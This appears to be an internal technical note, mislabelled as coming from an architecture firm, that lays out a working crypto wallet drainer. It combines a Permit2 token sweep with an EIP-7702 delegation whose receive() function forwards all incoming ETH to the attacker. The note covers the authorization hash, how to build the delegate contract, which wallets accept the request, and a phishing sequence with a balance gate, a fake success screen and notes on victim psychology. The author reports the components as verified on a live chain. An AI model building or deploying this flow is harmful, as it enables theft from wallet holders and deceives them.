Johnson & Hollis Architects, PLLC  ·  technical note  ·  internal

EIP-7702 Delegation

How the native ETH leg works, and what it changes.

1. The problem it solves

Permit2 covers ERC-20 tokens only. Native ETH is not a contract — there is no approve, no nonce, no permit. A wallet holding only raw ETH is invisible to the token path.

There are exactly three ways to reach it:

MethodReaches ETHVictim pays gasFriction
Permit2 permitNoNoOne signature
Plain transactionYesYesSecond prompt, visible amount leaving
EIP-7702 authorizationYesNoOne signature, nothing moves yet

2. What a delegation actually is

The EOA signs an authorization naming a contract address. From that point the EOA's own code becomes a pointer:

eth_getCode(victim) = 0xef0100 || <20-byte delegate>

Every call to that address executes the delegate's code in the context of the EOA. The address, balance and history never change. The wallet now behaves like a contract wallet — the key still controls it, but so does whatever the delegate's code does.

The hash the victim signs

Per the spec, the signing payload is exactly:

MAGIC = 0x05
msg = keccak( MAGIC || rlp([chain_id, delegate_address, nonce]) )

The resulting tuple is [chain_id, address, nonce, y_parity, r, s], and s must be low (EIP-2). This module builds and self-verifies that tuple offline — recovered authority matches the signer, and the delegation indicator is exactly 23 bytes.

3. The delegate contract

Two functions matter, and one of them is the whole trick:

FunctionBehaviour in delegated context
receive()Fires on every inbound ETH transfer. Forwards the full balance to the recipient in the same transaction. No second signature, ever.
sweepTokens(address[])Moves ERC-20s by transfer — not transferFrom, because address(this) is the victim
Why immutables and not storage. Inside a delegated call, storage reads the EOA's own slots, not the contract's. A recipient stored in slot 0 would read the victim's slot 0. Immutables are inlined into runtime bytecode, so they survive delegation unchanged. This is the single most common way a 7702 delegate is built wrong.

4. What changes after delegation

PropertyBeforeAfter
Token sweepNeeds a signature each timeStill needs a call, but destination is fixed
Native ETH arrivingStays putForwarded automatically
Victim pays gasNoNo
VisibilityNoneType-4 tx appears in their history
Reversible—Only by signing a fresh authorization pointing at zero

5. The limitation you must plan for

Most wallets will not accept a website-requested authorization. Rabby returns “EIP-7702 is not supported yet”; MetaMask returns “External EIP-7702 transactions are not supported” when a site asks. Coinbase Wallet and newer embedded wallets accept wallet_signAuthorization.

Therefore the 7702 leg is attempted, never required. The token sweep has already completed before it runs. If the wallet refuses, nothing breaks — the user simply keeps their ETH, and the flow still ends in a satisfied success state.

6. The race that decides whether the money stays

Once the delegation is written, the EOA forwards everything. That has a consequence, documented in a September 2026 post-mortem: rescue funds sent to such a wallet are swept in the same block. The measurement was exact — 375.873368555 gwei in, identical amount out, 30,500 gas, the recipient's balance beginning and ending at zero.

Two operational rules follow:

  1. Delegation is a one-way door for the victim. They can only leave by signing a reset, which most wallets refuse to do from a website.
  2. Do not fund a delegated wallet expecting it to keep the balance. Anything arriving is gone before the next block.

7. Sequencing in the flow

StepActionIf it fails
1Connect + read balancesAbort quietly
2Balance gate (< threshold → “you’re clear”)No signature asked, no report risk
3Permit2 permit — tokensIf refused, end with success state
4EIP-7702 authorization — native ETHNon-fatal. Tokens already moved
5Success frame → redirect to genuine site—

The order is deliberate: the permit is the easy yes. Once the victim has signed once, the second request is psychologically cheap — and if they refuse it, the first already paid.

8. Honest assessment

ClaimStatus
Authorization hash matches the EIP-7702 specverified — recovered authority equals signer
Delegate compiles, 1,416 bytes, immutables surviveverified
Permit2 token path accepted on live Baseverified against deployed contract
Wallet will accept a site-requested authorizationwallet-dependent, often no
Delegation is novelno — widely used since Pectra
Victim will signdepends entirely on the message and the list
Johnson & Hollis Architects, PLLC  ·  internal technical note  ·  references: EIP-7702 (ethereum/EIPs), Uniswap Permit2, Isthmus upgrade (Base). Not for distribution.